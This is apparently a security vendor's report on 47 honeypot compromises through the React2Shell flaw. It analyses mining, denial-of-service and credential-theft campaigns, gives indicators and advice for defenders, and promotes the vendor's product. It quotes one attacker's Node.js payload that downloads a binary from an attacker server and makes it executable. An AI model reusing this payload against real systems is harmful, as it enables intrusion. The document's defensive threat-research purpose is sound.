React2Shell: 8 months later

React2Shell across 47 real-world compromises.

Eight months after disclosure, React2Shell is still being exploited within minutes to hours. Our research fleet was compromised 47 times over 48 hours. Bitbison recorded, detected and analyzed every attacker action.

By the numbers

Compromises
47
Time to first compromise
13m min 2h 32m median

48 hours across 13 independent exposure windows.

Very few scanners progressed beyond a proof command
1,386100%Addresses that scanned or probed
191.4%Addresses that executed a proof command
120.87%Addresses that continued beyond a proof command

Only 1.4% of probing addresses executed a proof command. Fewer than 1% continued into post-exploitation activity. This funnel counts unique source addresses. The 47 compromises above count events, including repeated compromises from the same source.

DNS exfiltration dominated outbound network activity
84%41,600DNS exfiltration through public resolvers
8.5%4,183Payload delivery and staging
4.1%2,008Mining pools, including the upstream developer fee
2.9%1,407Command and control
0.27%132HTTP exfiltration and cloud metadata

The chart counts each DNS request or outbound connection attempt as one network operation. It does not count unique sockets, sessions or destinations. DNS exfiltration produced 41,600 of 49,330 operations (84%). Command-and-control traffic accounted for 2.9%, so volume alone understates its operational significance. We could not decrypt the DNS payloads during the observation window, so their contents remain unknown.

Measured against a conventional detection agent

MeasureBitbisonAlternative
Attacker activity recorded100%<1%
Malware recorded40/4028/40
Drop locations recorded12/121/12
Alerts raised2431,629
False positives50*849

* The false positives were due to an underlying filesystem issue that has since been resolved.

Both systems ran throughout the same 48 hours alongside configuration management. The alternative used its vendor's stock ruleset. Neither system was tuned.

Campaigns

The imeatingpoop mining operation

One operator was responsible for most of what ran on these hosts. The source is a rented server in Cape Town with only SSH exposed. One delivery host runs its own name server for stopbanningmydomains.ru behind a self-signed certificate. Another answers with the placeholder title My Beautiful Website. A third has the reverse name wwwwwwww. Two are named honey-us and honey-tr. The operator shipped a rebuilt orchestrator during the window and pushed it to the second mirror ten minutes after the first.

Details6 samples, 13 endpoints

Identified malware

SampleWhat it isPublic record
7d6032764dMining orchestrator. Kills rival miners before deploying XMRigKnown
deaeab9eb4Recompiled build of the same orchestrator. Detected as CoinMinerNew
aa0c6cdbebXMRig 6.25.0. Stock upstream buildNew
0b8e037d16XMRig 6.26.0. The next upstream release. Mined to c3poolNew
e995fec600Miner configuration. Worker imeatingpoopNew
9ea5975e3eSame configuration with the pools reorderedNew

Infrastructure

EndpointWhat it didConnection attemptsHosted byNotes
Address withheldstopbanningmydomains.ruServes stopbanningmydomains.ru and appears as a pool in the miner's configuratione995fec6003,396Akile LTDAS61112 · JPThe busiest destination in the window. One address performs two roles
Address withheldauto.c3pool.orgMining pool the miner dialed0b8e037d161,624OVH USAS16276 · USMonero RPC on port 18081. Shodan classifies it as cryptocurrency infrastructure
Address withheldServes the orchestrator at /nuts/poop and the first-stage script at /nuts/bolts7d6032764d440DC HOST Inc.AS44382 · TR
Address withheldServes the same two paths. Its first-stage script fetches from this address7d6032764d258Cyberzone S.AAS54600 · USNot a byte copy of the host above: the fetch line names this address instead
Address withheldauto.c3pool.orgMining pool0b8e037d16248AlibabaAL-3 · CN
Address withhelddonate.ssl.xmrig.comXMRig's own developer donation pool0b8e037d1676VultrAS20473 · USIts presence proves the miner is an unmodified upstream build
Address withheldC2 the orchestrator reported todeaeab9eb462Akile LTDAS61112 · DESame tenant as the busiest delivery host but in a different country
Address withhelddonate.ssl.xmrig.comXMRig's own developer donation pool0b8e037d1651DigitalOceanAS14061 · US
Address withhelddownload.stopbanningmydomains.ruServes download.stopbanningmydomains.ru. Requested file not recovered22DC HOST Inc.AS44382 · TRSibling of the first-stage host
Address withhelddownload.stopbanningmydomains.ruServes download.stopbanningmydomains.ru. Requested file not recovered14Akile LTDAS61112 · JP
Address withhelddownload.stopbanningmydomains.ruServes download.stopbanningmydomains.ru. Requested file not recovered12HostPapaAS36352 · US
Address withheldauto.c3pool.orgMining pool0b8e037d169OVH SASAS16276 · FR
Address withheldServes the rebuilt orchestrator and was fetched by itdeaeab9eb44Unattributed

rondo

One operator piped a script from its own control server straight into a shell 22 times over 27 hours. The source and its busiest control server are rented from the same company in the same Dutch city. Both run the same SSH build. This is a stronger link than their shared address range. Three control servers first appeared within ninety seconds of one another; two listened on encrypted ports. One runs an operating system that stopped receiving security updates years ago with remote desktop exposed to the internet.

Details1 sample, 3 endpoints

Identified malware

SampleWhat it isPublic record
d9ae9bf4b8Gafgyt denial-of-service implant. Held a persistent channelNew

Infrastructure

EndpointWhat it didConnection attemptsHosted byNotes
Address withheldC2 reached by the implantd9ae9bf4b86951337 Services GmbHAS210558 · NLAbuse-tolerant hoster
Address withheldC2 reached by the implantd9ae9bf4b8565XSServer GmbHAS44592 · DESame /24 as an inbound attacking source
Address withheldC2 reached by the implantd9ae9bf4b858UAB Host BalticAS209605 · LTEnd-of-life OS, self-signed TLS, RDP exposed

The .b implant

One host did everything. It attacked us, served the payload and received the beacons. Most operators split those three functions across separate machines. The implant was fetched from that address then started with the address on its command line. Within 220 milliseconds it wrote a watchdog, a persistence binary disguised as a system component and a flooder. It then called home. The address range is registered to an individual with an abuse contact in Kharkiv.

Details2 samples, 1 endpoint

Identified malware

SampleWhat it isPublic record
203c2357d1Respawn watchdog for .b. Restarts it every 60 secondsNew
b7d0ce1014Layer 7 flooder, Go. Staged by .bNew

Infrastructure

EndpointWhat it didConnection attemptsHosted byNotes
Address withheldInbound source, delivery host and C2 on one address203c2357d127NET-94-15-40AS219502 · USMost operators separate those three functions

Mini Shai-Hulud

One operator eventually used an in-process React2Shell backdoor to execute a new standalone Mini Shai-Hulud variant alongside an SSH worm and multiple persistence mechanisms. Our separate analysis covers the variant, execution chain and infrastructure.

Learn more →

Credential harvest

Two rented servers in the same region ran the same image and sent byte-identical payloads. We group them as one operator. The collector, hosted by vsys.host on AS43641, names and versions itself on its login page. It advertises 49 collection phases. The dashboard requires authentication but the intake does not. We recorded two phases in a 32-second burst.

Details1 endpoint

Infrastructure

EndpointWhat it didConnection attemptsHosted byNotes
Address withheldNEXUS Listener, the collector for the 32-second harvest66vsys.hostAS43641 · NLServes a branded login panel advertising a 49-phase receiver. We caught two phases

The five-fallback downloader

Three addresses shared one payload. We group them as one operator. The downloader falls back through curl, wget, Python and Perl before issuing a raw socket request. The last path works without a standard download tool. The target returned no payload, so there is no sample.

Details1 endpoint

Infrastructure

EndpointWhat it didConnection attemptsHosted byNotes
Address withheldTarget of the five-deep fallback chain35RackNerd LLCAS36352 · US

Most scanning never became exploitation

Of 1,386 distinct addresses that scanned or probed the hosts, 19 executed a proof command (1.4%). Twelve continued into post-exploitation activity (0.87%). The 47 compromises were events rather than unique sources. Some sources compromised a host more than once.

Failure continued after entry. Operators repeatedly launched persistence, delivery and eviction branches without checking whether they worked.

Successful exploitation did not always create a process

Of the 1,560 exploit requests that reached the gadget, 20.3% spawned no child process. 3.1% also made no outbound connection and produced no distinguishing reverse-proxy record. The proxy returned HTTP 500 for all 1,560 requests whether the exploit succeeded or failed.

One operator delivered the same payload to the same path in two forms within minutes. The first used wget and a shell. The second resolved the fetch, write and permission change inside Node:

process.mainModule.require('http').get(
  'http://[address-withheld]/nuts/poop',
  r => r.pipe(require('fs').createWriteStream('/app/let')
    .on('finish', () => fs.chmodSync('/app/let', 0o711)))
)

Only the first form appeared in process-creation telemetry. Bitbison recorded both.

Two additional results define the limits of conventional evidence:

  • Eight of nine recovered campaign samples were absent from public malware collections when we checked. Three are present now because we submitted them.
  • A credential harvester stole a planted SSH key, fake AWS credentials, a wallet seed and the environment in 32 seconds. The key was never reused. The account worked. Outbound SSH was permitted and both ends were observed.

Operator bloopers

At the risk of helping the operators debug their code, the record contains an amusing set of post-compromise failures:

  • A persistence branch attempted to create a backdoor account with passwordless sudo. The web user could not run useradd. Every result went to /dev/null, so it failed 74 times without informing the operator.
  • The standalone Mini Shai-Hulud chain included a PHP fallback with a parse error. The operator eventually reached execution through another path.
  • Another actor requested a payload URL with http:// duplicated before its redacted host. The payload existed on the actor's server, but the doubled scheme prevented delivery.
  • A 124-byte watchdog attempted to trap SIGKILL. Linux does not permit this. The watchdog then restarted its implant every 60 seconds.
  • The mining script tried to delete rondo from a stale path. Both implants ran together for ten hours without either operator noticing.
  • The same miner retained XMRig's developer donation. Part of the cryptocurrency mined on compromised hosts went to XMRig's authors.

What defenders should do

  • Resolve the installed React dependency instead of trusting the manifest. Many affected applications declared Next.js and received React transitively. npm ls --all reports the effective tree. Inspect the installed react-server-dom-* packages.
  • Upgrade to a currently supported patched release. The React2Shell RCE patch remains effective, but later RSC flaws received CVE-2025-55183, CVE-2025-55184, CVE-2025-67779 and CVE-2026-23864.
  • Record what request handlers do, not only the processes they spawn. A fifth of the activity in this window produced no process.
  • Treat paths, hashes and public corpora as retrospective evidence rather than detection boundaries. Attackers used twelve drop directories and randomized names on each execution. Twenty-nine filenames did not represent 29 binaries.

Method and disclosure

Bitbison records and analyzes system operations and their complete causal histories without sampling at production scale.

We made this record a foundational property of the policy system. Our extensible data model let us attribute system-level side effects to application behavior exposed through standard OpenTelemetry instrumentation. Our internal harnesses and runtimes use the complete causal record to automate broad parts of the analysis with AI. Each result retains the source operations and causal edges needed for verification. The resulting record let us distinguish successful exploitation from failure even when an attempt created no child process, made no outbound connection and produced the same HTTP 500 response as every other attempt.

The measurements cover 48 hours across 13 independent exposure windows. Both detection systems ran throughout. The alternative used its stock ruleset. Neither system was tuned. Known research scanners were excluded before counting executing addresses.

Want more? Security researchers can contact us at team@. We are happy to share additional data.

Bitbison

Request early access

Tell us a bit more about your security challenges. We will follow up with access or a focused demo.

No spam. We will only email you about early access.

Indicators

domains
stopbanningmydomains.rudownload.stopbanningmydomains.ru
hashes
7d6032764df8e706c458e663e5501ce627e4f2985c16ea61e299f2ac429cbcc9deaeab9eb43fcf70d184c209e4bc1077ae6e7e2b182c1cbbc202dfdc053dc01caa0c6cdbeb3bc3ce07d5060958e1a38e54287bc89e25f6def98b620999ff4f7a0b8e037d160bdb0b621c975c424f680b814bc438fd492ae376ff3140e209e480e995fec600f36e946452ca520198b1971b0202dfa1a1fba4acfac8375c3818ea9ea5975e3e032e693d92d9a5c15b6993cc692a7cd79824a4ba55a5ee64a2a3f4d9ae9bf4b810b07470e786deb6454b8928cba4fe77278b8f4b4f6c5cdcb4e0c4b7d0ce1014da1bd04bfc8f04175daa5c8e26e86b2bb27a5be05f12ac1a7d6684203c2357d1ff6bf0804a580c31265526608b2b16b7420b54f0fc6125f4da487a
credentials
imeatingpoop
packages
react-server-dom-webpack: 19.0.0, 19.1.0, 19.1.1, 19.2.0react-server-dom-parcel: 19.0.0, 19.1.0, 19.1.1, 19.2.0react-server-dom-turbopack: 19.0.0, 19.1.0, 19.1.1, 19.2.0

Sources